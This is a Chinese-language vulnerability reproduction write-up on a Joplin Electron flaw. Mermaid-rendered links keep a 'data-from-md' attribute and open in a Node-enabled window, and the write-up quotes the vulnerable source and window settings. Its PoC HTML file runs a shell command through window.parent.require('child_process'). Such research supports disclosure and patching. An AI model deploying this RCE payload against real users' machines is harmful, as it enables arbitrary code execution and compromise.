Electron漏洞复现

漏洞分析

在Markdown预览iframe中,Joplin仅在相同的Electron窗口中打开包含data-from-md属性的内部链接。虽然Joplin成功地对用户从.md文件嵌入的<a>链接中的“data-from-md”属性进行了净化,以防止执行不可信的HTML内容,但它未能净化由Mermaid引入的<a>标签(例如下面的代码片段)中的“data-from-md”属性。由于Mermaid允许渲染某些无脚本的HTML元素,攻击者可以嵌入带有“data-from-md”属性的<a>标签,这些标签将在相同的Electron窗口中被内部打开。
此外,Joplin以nodeIntegration=true和contextIsolation=false的方式打开窗口,导致在打开的窗口中运行的任何脚本都可完全访问Node.jsAPI。此外,Markdown预览iframe与父元素共享相同的源(即本地文件系统),并且不包含sandbox属性,允许在iframe中运行的脚本通过window.parent调用Node.js API。因此,攻击者可以通过利用存储在本地文件系统中的HTML文件来执行任意代码,这些HTML文件与父进程具有相同的起源。
漏洞源码
带有 data-from-md 属性的<a href=xxx> 链接会被直接解析.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
document.addEventListener('click', (event) => {
const anchor = webviewLib.getParentAnchorElement(event.target);
if (!anchor) return;

if (!anchor.hasAttribute('data-from-md')) {
if (webviewLib.handleInternalLink(event, anchor)) return;
event.preventDefault();
if (anchor.getAttribute('href')) webviewLib.options_.postMessage(anchor.getAttribute('href'));
if (anchor.getAttribute('xlink:href')) webviewLib.options_.postMessage(anchor.getAttribute('xlink:href'));
return;
}
// If this is an internal link, jump to the anchor directly
if (anchor.hasAttribute('data-from-md')) {
if (webviewLib.handleInternalLink(event, anchor)) return;
}
});
webviewLib.handleInternalLink = function(event, anchorNode) {
const href = anchorNode.getAttribute('href');
if (!href) return false;

if (href.indexOf('#') === 0) {
event.preventDefault();
location.hash = href;
return true;
}

return false;
};

Electron安全配置中配置了nodeIntergration为true和contextIsolation为false,渲染器进程拥有完全的nodejs API访问能力.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
const windowOptions: any = {
x: windowState.x,
y: windowState.y,
width: windowState.width,
height: windowState.height,
minWidth: 100,
minHeight: 100,
backgroundColor: '#fff', // required to enable sub pixel rendering, can't be in css
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
spellcheck: true,
enableRemoteModule: true,
},
webviewTag: true,

复现

poc2.html
利用Node.js API获取系统级别命令执行(RCE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html>
<body>
<script>
if (typeof window.parent.require !== 'undefined') {
const { exec } = window.parent.require('child_process');
exec('ls -al', (err, stdout, stderr) => {
if (err) {
document.body.innerText = `Error: ${err.message}`;
return;
}
if (stderr) {
document.body.innerText = `Stderr: ${stderr}`;
return;
}
document.body.innerText = stdout;
});
} else {
document.body.innerText = 'Require is not available in this environment.';
}
</script>
</body>
</html>